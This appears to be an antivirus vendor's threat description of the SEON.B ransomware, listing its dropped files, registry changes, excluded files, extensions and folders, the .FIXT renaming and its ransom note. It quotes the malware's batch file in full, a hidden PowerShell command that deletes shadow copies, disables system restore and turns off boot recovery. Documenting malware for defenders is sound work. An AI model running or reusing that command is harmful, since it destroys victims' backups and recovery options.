Ransom.Win32.SEON.B

This Ransomware arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Arrival Details

This Ransomware arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Ransomware drops the following files:

• %User Temp%\startb.bat
• %User Temp%\readme.hta

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

Other System Modifications

This Ransomware adds the following registry keys:

HKEY_CURRENT_USER\Software\GNU\
Display
windowData = {hex values}

Other Details

This Ransomware does the following:

• It displays the following window after encryption:
  
• It encrypts files which can be found in the following locations:
  • Fixed drives
  • Remote drives
• It avoids encrypting the following files:
  • bootsect.bak
  • ntuser.ini
  • thumbs.db
  • your_files_are_encrypted.txt
  • ntldr
  • iconcache.db
  • desktop.ini
  • ntuser.dat.log
  • bootfont.bin
  • ntuser.dat
  • boot.ini
  • autorun.inf
• It avoids encrypting files with the following extensions:
  • .mod
  • .adv
  • .dll
  • .msstyles
  • .mpa
  • .nomedia
  • .ocx
  • .cmd
  • .ps1
  • .themepack
  • .sys
  • .prf
  • .diagcfg
  • .cab
  • .ldf
  • .diagpkg
  • .icl
  • .386
  • .ico
  • .cur
  • .ics
  • .ani
  • .bat
  • .com
  • .rtp
  • .diagcab
  • .nls
  • .msc
  • .deskthemepack
  • .idx
  • .msp
  • .msu
  • .cpl
  • .bin
  • .shs
  • .wpx
  • .icns
  • .exe
  • .rom
  • .theme
  • .hlp
  • .spl
  • .fixt
  • .lnk
  • .scr
  • .drv
• The batch file "%User Temp%\startb.bat" contains the following:
  • cmdexe /q /c "powershellExE -nop -w hidden -c $Sys64 = \"$env:SystemRoot\Sysnative\";$Sys32 = \"$env:SystemRoot\System32\";chcp 1251;IF (Test-Path \"$Sys64\vssadminexe\"){cmd /c \"$Sys64\vssadmin delete shadows /all /quiet\";cmd /c \"$Sys64\vssadmin delete shadows /all /quiet\"} ELSE {cmd /c \"$Sys32\vssadmin delete shadows /all /quiet\";cmd /c \"$Sys32\vssadmin delete shadows /all /quiet\"};$Disks = [SystemIODriveInfo]::getdrives() ^| ?{$_DriveType -eq \"Fixed\" };Disable-ComputerRestore $Disks;$LogicalDisks = (GET-WMIObject -query \"SELECT * from win32_logicaldisk where DriveType = '3'\");If ($LogicalDisks -ne $null) {foreach ($LD in $LogicalDisks) {$Disk = $LDDeviceID;Foreach ($LogicalDisk in $LogicalDisks) {$PrevVerEnable = \"vssadminexe Resize ShadowStorage /For=$Disk /On=$Disk /MaxSize=401MB\";$PrevVerEnableUn = \"vssadminexe Resize ShadowStorage /For=$Disk /On=$Disk /MaxSize=unbounded\";IF (Test-Path \"$Sys64\vssadminexe\") {cmd /c \"$Sys64\$PrevVerEnable\";cmd /c \"$Sys64\$PrevVerEnableUn\"} ELSE {cmd /c \"$Sys32\$PrevVerEnable\";cmd /c \"$Sys32\$PrevVerEnableUn\"}}}};IF (Test-Path \"$Sys64\vssadminexe\") {cmd /c \"$Sys64\bcdedit /set {default} recoveryenabled No\";cmd /c \"$Sys64\bcdedit /set {default} bootstatuspolicy ignoreallfailures\";cmd /c \"$Sys64\vssadmin delete shadows /all /quiet\"} ELSE {cmd /c \"$Sys32\bcdedit /set {default} recoveryenabled No\";cmd /c \"$Sys32\bcdedit /set {default} bootstatuspolicy ignoreallfailures\";cmd /c \"$Sys32\vssadmin delete shadows /all /quiet\"}"

Ransomware Routine

This Ransomware avoids encrypting files found in the following folders:

• system volume information
• programdata
• application data
• $windows.~bt
• program files
• tor browser
• windows
• mozilla
• appdata
• windows.old
• program files (x86)
• $recycle bin
• google
• boot

It renames encrypted files using the following names:

• {file name}.{file extension}.FIXT

It leaves text files that serve as ransom notes containing the following text:

• {Encrypted Directory}\YOUR_FILES_ARE_ENCRYPTED.TXT